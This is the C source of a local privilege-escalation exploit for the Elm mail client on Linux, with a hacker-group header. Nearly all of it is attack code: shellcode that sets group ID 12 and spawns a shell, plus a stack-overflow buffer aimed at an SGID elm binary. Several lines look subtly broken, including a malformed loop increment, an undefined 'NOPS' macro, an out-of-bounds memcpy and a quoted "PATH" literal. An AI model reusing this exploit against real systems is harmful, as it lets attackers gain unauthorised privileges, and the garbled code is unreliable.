/* 
   Linux Elm 2.4/2.5 local exploit
   by slash / buffer0verfl0w security

   This will give you a shell(gid=12) if /usr/bin/elm is SGID. Since
   there isn't a single persone who didn't code one of these elm 
   exploits I decided to code mah own :) This was tested on slackware 4.0
   and redhat 5.1. Offset on slackware -500. So...beware, yet another elm
   exploit.

   Shoutouts go to b0f, TESO, ADM, mdma, zsh, FunkySh and all of the people
   who know me. Disslikes go out to you-know-who: p4riah and h0lmez.

   Peace out, 

   -- slash - tcsh@b0f.i-p.com - b0f.freebsd.lublin.pl

 */

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90       /* no operation skip to next instruction */
#define LEN 264       /* our buffersize */
#define PATH "/usr/bin/elm"     /* path to the program */
#define OFFSET -500      /* default offset */

char shellcode[]= /* setgid(12); execve("/bin/sh"); */
 "\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3\x0c\xcd\x80\x89\x76\x08\x31\xc0\x88"
 "\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
 "\x89\xd8\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";

long esp(void){
  __asm__("movl %esp,%eax");
}

int main(int argc,char **argv){

   char buffer[LEN];
   int i,offset;
   long retaddr;

   printf("Linux Elm 2.4/2.5 local exploit\n");
   printf("coded by slash / buffer0verfl0w security\n");
   printf("<tcsh@b0f.i-p.com> <b0f.freebsd.lublin.pl>\n");

   if(argc > 1){ 
    offset = atoi(argv[1]); 
  }
   else{
    offset = OFFSET;
  }
   /*setting up the ret address*/
   retaddr=(esp()-offset);

   printf("Using Offset: %d.", offset);
   printf("Using return address: 0x%lx", retaddr);
   printf("After this run \"reset\"to reset the terminal*");

   for( i = 0; i < LEN; i + = 4){
    *(long *)&buffer[i] = retaddr;}

  /* thanx for the tip {} */
   memset(buffer, NOPS, 260 - strlen(shellcode));

  /*copying the shellcode into the buffer*/
  memcpy( buffer + i, shellcode, strlen(shellcode));
  
  /*executing the program*/
  execlp("PATH", "elm", "-f", buffer,0);
  return 0;
}